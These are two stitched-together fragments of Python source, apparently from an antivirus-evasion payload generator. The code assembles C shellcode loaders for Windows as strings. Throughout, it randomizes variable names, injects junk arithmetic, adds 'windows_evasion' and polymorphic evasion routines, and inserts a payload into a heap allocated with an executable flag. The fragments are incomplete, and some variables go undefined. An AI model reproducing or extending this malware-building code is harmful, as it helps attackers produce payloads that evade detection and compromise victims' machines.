Randmaxop = usefull.varname_creator() Randcpt = usefull.varname_creator() Randi = usefull.varname_creator() Randlpv = usefull.varname_creator() Randhand = usefull.varname_creator() Randresult = usefull.varname_creator() Randthread = usefull.varname_creator() Junkcode1 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode2 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode3 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode4 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode5 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode6 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Junkcode7 = usefull.Junkmathinject(str(random.randint(1, 12))) # Junkcode Win_eva1 = usefull.windows_evasion(str(random.randint(1, 4))) Win_eva2 = usefull.windows_evasion(str(random.randint(1, 4))) Win_eva3 = usefull.windows_evasion(str(random.randint(1, 4))) Hollow_code = "" Hollow_code += "#define " + Randgood + " " + str(Randbig) + "\n" Hollow_code += "#include <windows.h>\n" Hollow_code += "#include <stdio.h>\n"
shuffle(y) aa = str(y[0]) bb = str(y[1]) cc = str(y[2]) aa = aa.replace("[", "") aa = aa.replace("]", "") bb = bb.replace("[", "") bb = bb.replace("]", "") cc = cc.replace("[", "") cc = cc.replace("]", "") MorphEvasion1 = str(usefull.Polymorph_Multipath_Evasion(a, Filename)) MorphEvasion2 = str(usefull.Polymorph_Multipath_Evasion(b, Filename)) MorphEvasion3 = str(usefull.Polymorph_Multipath_Evasion(c, Filename)) Junkcode1 = usefull.Junkmathinject(aa) # Junkcode Junkcode2 = usefull.Junkmathinject(bb) # Junkcode Junkcode3 = usefull.Junkmathinject(cc) # Junkcode Hollow_code = "" Hollow_code += "#include <windows.h>\n" Hollow_code += "#include <stdio.h>\n" Hollow_code += "#include <string.h>\n" Hollow_code += "int main(int argc,char * argv[]){\n" Hollow_code += MorphEvasion1 Hollow_code += MorphEvasion2 Hollow_code += MorphEvasion3 Hollow_code += "HANDLE " + Randheapvar + ";LPVOID " + Randlpv + ";HANDLE " + Randhand + ";DWORD " + Randresult + ";DWORD " + Randthread + ";\n" Hollow_code += Payload Hollow_code += Randheapvar + " = HeapCreate(0x00040000, strlen(" + Randbufname + "), 0);\n" Hollow_code += Randlpv + " = HeapAlloc(" + Randheapvar + ", 0x00000008, strlen(" + Randbufname + "));\n"